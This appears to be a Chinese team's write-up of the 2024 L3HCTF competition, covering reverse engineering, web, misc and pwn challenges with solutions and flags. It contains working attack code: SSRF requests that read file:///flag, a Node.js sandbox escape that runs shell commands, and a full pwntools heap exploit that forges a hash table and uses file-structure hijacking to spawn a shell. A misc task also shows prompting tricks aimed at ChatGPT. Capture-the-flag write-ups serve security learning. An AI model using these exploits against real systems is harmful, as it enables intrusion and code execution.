uint32_t keys[] = {0x547FA369,0x43AF51A7,0xEE8F66C7,0x265BFED5,0xDA138396,0xE98434B5,0x84A65177,0x4B6A084B};int main(){uint32_t inp[] = {0x30303030, 0x31313131,0x32323232, 0x33333333,0x34343434, 0x35353535,0x36363636, 0x37373737,};uint32_t sum = 0;for (int i = 0; i < 32; i++){sum += DELTA;for (int j = 0; j < 8; j++){uint32_t t1 = (inp[(j + 1) % 8] ^ sum) + keys[j];uint32_t t2 = (inp[(j + 7) % 8] << 3) ^ t1;uint32_t t3 = (inp[(j + 1) % 8] >> 5) ^ t2;uint32_t t4 = inp[j] + t3;inp[j] = t4;printf("%08X %08X %08X %08Xn", t1, t2, t3, t4);}printf("n");}return 0;}
解密
uint32_t keys[] = {0x547FA369,0x43AF51A7,0xEE8F66C7,0x265BFED5,0xDA138396,0xE98434B5,0x84A65177,0x4B6A084B};unsigned char sec[32] = {0x3E, 0x55, 0xBC, 0x81, 0x09, 0x71, 0xBA, 0x74, 0x98, 0x81, 0x47, 0xBD, 0xE6, 0x3D, 0x56, 0x45,0x61, 0xC6, 0xE8, 0x62, 0xDA, 0x79, 0x0B, 0xD0, 0xCE, 0xD3, 0x2F, 0xB1, 0x03, 0x02, 0x16, 0xF5};int main(){uint32_t inp[8] = {};uint32_t sum = 0;memcpy(inp, sec, 32);sum = DELTA * 32;for (int i = 0; i < 32; i++){for (int j = 7; j >= 0; j--){uint32_t t1 = (inp[(j + 1) % 8] ^ sum) + keys[j];uint32_t t2 = (inp[(j + 7) % 8] << 3) ^ t1;uint32_t t3 = (inp[(j + 1) % 8] >> 5) ^ t2;inp[j] -= t3;}sum -= DELTA;}printf("%sn", (char *)inp);// L3HSEC{f1751f5a3d69ab5ac2fe24e2}return 0;}
WEB
intractable problem
引号绕过
def factorization(n: string) -> tuple[int]:return 1'''import os,reapath=''for maindir, subdir, file_name_list in os.walk('./upload'):for filename in file_name_list:apath = os.path.join(maindir, filename)with open(apath) as f:result = f.read()a=re.findall("print("(.*)",end",result)print(a[0].strip('n'),end='')exit()'''
short url
先生成 http://127.0.0.1:8080/private;/?url=file:///flag 的短连接，获取到code 343Vc3Pp
POST /share HTTP/1.1Host: 1.95.4.251:57080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/122.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://1.95.4.251:57080/index.htmlContent-Type: multipart/form-data; boundary=---------------------------37793646909882801254246749615Content-Length: 219Origin: http://1.95.4.251:57080Connection: close-----------------------------37793646909882801254246749615Content-Disposition: form-data; name="link"http://127.0.0.1:8080/private;/?url=file:///flag-----------------------------37793646909882801254246749615--
然后生成刚刚那个code的链接，获得新的code 6vpV94gs
POST /share HTTP/1.1Host: 1.95.4.251:57080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/122.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://1.95.4.251:57080/index.htmlContent-Type: multipart/form-data; boundary=---------------------------338039072036276342481128854713Content-Length: 217Origin: http://1.95.4.251:57080Connection: close-----------------------------338039072036276342481128854713Content-Disposition: form-data; name="link"http://127.0.0.1:8080/jump?redirect=343Vc3Pp-----------------------------338039072036276342481128854713--
然后访问
http://1.95.4.251:57080/test;/?redirect=6vpV94gs
可以获取到flag
l3hctf{W3lc0M3_D0_Y0U_L0v3_5h0R7_uRL}
escape-web
首先需要进行沙箱逃逸
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {[customInspectSymbol]: (depth, opt, inspect) => {console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync('ls').toString());},valueOf: undefined,constructor: undefined,}WebAssembly.compileStreaming(obj).catch(()=>{});
如此可以命令执行并且回显
尝试多种docker逃逸方式无果后 猜测可能存在将主机上的文件映射到容器中的情况
发现可以直接通过对output.txt或error.txt软连接 获取flag
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {[customInspectSymbol]: (depth, opt, inspect) => {console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/output.txt').toString());console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync('ln -s /flag /app/output.txt').toString());},valueOf: undefined,constructor: undefined,}WebAssembly.compileStreaming(obj).catch(()=>{});
MISC
end_of_programming
通过对题目的分析“请输入prompt，使得ChatGPT可以写出C++代码解决上面的算法问题。请注意，您不可以在prompt里包含任何代码，您的prompt将由ChatGPT检查。“可以得到解题思路为，通过对以下题目让GPT写出对应脚本，接着GPT自动检测脚本是否符合题目要求，若符合则输出flag
首先使用祖母大法调教GPT，发现收获无果
所得的C++脚本不正确，无法获得flag
根据题目分析，运用贪心算法进行编写c++代码即可满足题目内涵的要求，编写GPT内容“你可以以贪心的角度，将所有菜从小到大依次考虑。对于每道菜，优先满足挑食的帕鲁（只吃素菜或者只吃荤菜），如果都满足了再满足不挑食的帕鲁，如果都不需要满足则不买这道菜”使GPT编写满足条件的代码，得到flag
RAWaterMark
参考：
https://blog.csdn.net/dcrmg/article/details/105124898
找到可以解析的库，翻了翻有俩函数postprocess和raw_image_visible能获取rgb值
接着根据题目描述加是个图像文件盲猜lsb
import rawpyimport numpy as npopenpath = 'image.ARW'with rawpy.imread(openpath) as raw:bayer_visible = raw.raw_image_visiblelsb_array = np.bitwise_and(bayer_visible, 1)lsb_array_flat = lsb_array.flatten()hidden_message = ''.join(map(str, lsb_array_flat))print(hidden_message)
PWN
treasure_hunter
开局送一个0x410大小的tcache_chunk。
一处明显的10个字节的堆溢出，还有消耗30金币能泄露堆地址。
SwissTable结构
struct vec{uint64_t begin;uint64_t end;uint64_t cap;};struct SwissTable{vec *kv_pairs;vec *groups; // control_bytesuint64_t size;};
购买梦想后能修改swisstable的控制字节。
调试查看堆布局可以发现白给的tcache_chunk后面跟着的是hashmap(SwissTable)结构。
malloc(0x408)重新分配到这个chunk配合10字节的溢出，刚好能覆盖 SwissTable.kv_pairs 低位地址。
get_or_put函数拥有单字节读写功能，并且没有边界判断。
只要能伪造hashmap(SwissTable)，往里面添加原本不存在的key，就能构造出任意地址读写。
需要同时伪造kv_pairs中的key和groups中的控制字节，满足查找条件。
h = u64(sha256(p64(key)).digest()[:8])h1 = h>>4h2 = h>>57 # control byteslot = (h1%(vec1_size//16)) # 16个为一组
利用流程:
1. 获取金币，购买梦想泄露堆地址。
2. 堆溢出覆盖swisstable.kv_pairs地址，伪造kv_pairs。
3. 购买梦想修改swisstable.groups，往里面添加对应key所需控制字节，
4. 伪造swisstable通过field[key]得到任意读写能力后泄露so模块地址。
5. apple2 get_shell。
exp：
from pwn import *from hashlib import sha256context.terminal = ['wt.exe', 'bash.exe', '-c']p = process('./treasure_hunter')# p = remote('1.95.4.251', 31778)binary = ELF('./treasure_hunter', False)context.binary = binarylibc = ELF('./libc.so.6', False)sd, sl, sa, sla = p.send, p.sendline, p.sendafter, p.sendlineafterrv, rl, ru = p.recv, p.recvline, p.recvuntilia = p.interactivedef get_or_put(key, choose, n):sla(b"Today, where are we going, captain?n", str(key).encode())ru(b"Mining...n")res = rl()coin = 0if b'Congrat' in res:coin = int(res[31:].split(b' ')[0], 10)if choose != b'set':sa(b'for get)n', choose)if choose == b'g' and n < 0:n = coinsla(b'?n', str(n).encode())else:sa(b'for get)n', b'b' if n > coin else b'g')sla(b'?n', str(abs(n-coin)).encode())return coindef record(size, content):sla(b'Content length: ', str(size).encode())sa(b'Content: ', content)ru(b'bytes.n')def shop(yes=True):sa(b'mysterious things.n', b'y' if yes else b'n')if yes:ru(b"I bet you won't regret!n")def write_sth(off, v):ru(b'called flag: ')leak = int(ru(b'x1B[0m', True), 16)sla(b'write: x1B[0m', str(off).encode())sa(b'Write: n', v)return leakoverflow_init = Falsedef hack(off, new_value=None):global overflow_initvec1_size = 32h = u64(sha256(p64(off)).digest()[:8])h1 = h4h2 = h57slot = (h1%(vec1_size//16))# print(f'{slot=}')# print(hex(h1), hex(h2))get_or_put(safe_list[-1], b'b', 0)# 0x128F0fake_vec = flat([heap_base+0x12910,heap_base+0x12910+16*32,heap_base+0x12910+16*32,0, # chunksize0x00000000000008b1, 0x0000000000000000,0x0000000000000558, 0x0000000000000001,0x00000000000005da, 0x0000000000000000,0x0000000000000c18, 0x0000000000000000,0x0000000000000a9f, 0x0000000000000000,0x00000000000003b9, 0x0000000000000000,0x0000000000000ec7, 0x0000000000000001,0x00000000000000e4, 0x0000000000000001,0x0000000000000cae, 0x0000000000000000,0x0000000000000e29, 0x0000000000000001,0x0000000000000f75, 0x0000000000000000,0x000000000000031e, 0x0000000000000001,off, 1, # 12# 0x0000000000000d8e, 0x0000000000000000,0x0000000000000b30, 0x0000000000000001,0x0000000000000c4d, 0x0000000000000001,0x000000000000083b, 0x0000000000000001,0x00000000000004b3, 0x0000000000000000,0x0000000000000c6e, 0x0000000000000001,0x00000000000006c4, 0x0000000000000000,0x0000000000000d13, 0x0000000000000001,0x000000000000015d, 0x0000000000000001,0x0000000000000615, 0x0000000000000001,0x000000000000024a, 0x0000000000000000,0x00000000000006e6, 0x0000000000000001,0x0000000000000e64, 0x0000000000000001,0x0000000000000259, 0x0000000000000001,0x00000000000004ec, 0x0000000000000001,0x00000000000000eb, 0x0000000000000001,off, 1, # 16+120x0000000000000000, 0x0000000000000000,0x0000000000000000, 0x0000000000000000,0x0000000000000000, 0x0000000000000000,])record(0x3C8, b'V'*16+fake_vec)shop()write_sth(28 if slot==1 else 12, bytes([h2]))sa(b'(y to end exploration)n', b'N')if not overflow_init:get_or_put(safe_list[-1], b'b', 0)record(0x408, b'A'*0x408+p64(0x21)+p16((heap_base+0x128F0)&0xFFFF))shop(False)sa(b'(y to end exploration)n', b'N')overflow_init = Trueif new_value is not None:b = get_or_put(off, b'set', new_value)else:b = get_or_put(off, b'b', 0)sla(b'Content length: ', str(0x9999).encode())return bdef leak(off):addr = b''for i in range(5):addr += bytes([hack(off+i)])addr += b'x7Fx00x00'return u64(addr)def aaw(addr, data):off = (addr-(ld_base+0x37000))&0xFFFFFFFFFFFFFFFFfor i in range(len(data)):hack(off+i, data[i])ru(b'Drawing...n')safe_list = []for i in range(28):ru(b'place ')key = int(ru(b': ', True))safe = ru(b'safe') == b'safe'if safe:safe_list.append(key)coins = 0for key in safe_list[:10]:coins += get_or_put(key, b'g', -1)print(f'{coins=}')sla(b'Content length: ', str(0x9999).encode())get_or_put(safe_list[-1], b'b', 0)record(0x3C8, b'V') # chunk for fake_vecshop()heap_base = write_sth(0, b'A')-0x122c0print(f'{heap_base=:#x}')sa(b'(y to end exploration)n', b'N')############################################# leak solibc_base = leak(0x3f18)-0x7e60ld_base = leak(0x3f00)-0x8d8print(f'{libc_base=:#x} {ld_base=:#x}')############################################# apple2fake_io_addr = heap_base+0x11ec0fake_wide_data_addr = fake_io_addr+0x200libc.address = libc_base############################################# _IO_list_all = fake_io_addraaw(libc.sym['_IO_list_all'], p64(fake_io_addr)[:6])if 0:gdb.attach(p, '''# brva 0x2D56# brva 0x2C9A# brva 0x2B78b *_IO_wdoallocbufc''')sleep(2)fake_io = FileStructure()fake_io.flags = u32(b' sh')fake_io.vtable = libc_base+0x216F40fake_io._IO_write_base = 0fake_io._IO_write_ptr = 1fake_io._wide_data = fake_wide_data_addrfake_wide_data = flat({0x68: libc.sym['system'],0xe0: fake_wide_data_addr # wide_data_vtable}, filler=b'x00')payload = flat({0: bytes(fake_io),0x200: fake_wide_data}, filler=b'x00')get_or_put(safe_list[-1], b'b', 0)record(0x408, b'A'*16+payload)shop(False)sa(b'(y to end exploration)n', b'y')print(ru(b'precious!'))sl(b'cat /flag')# L3HCTF{W0w_y0u_r3ally_kn0w_5wiss7ab1e}ia()
原文始发于微信公众号（山海之关）：2024 L3HCTF writeup by Arr3stY0u
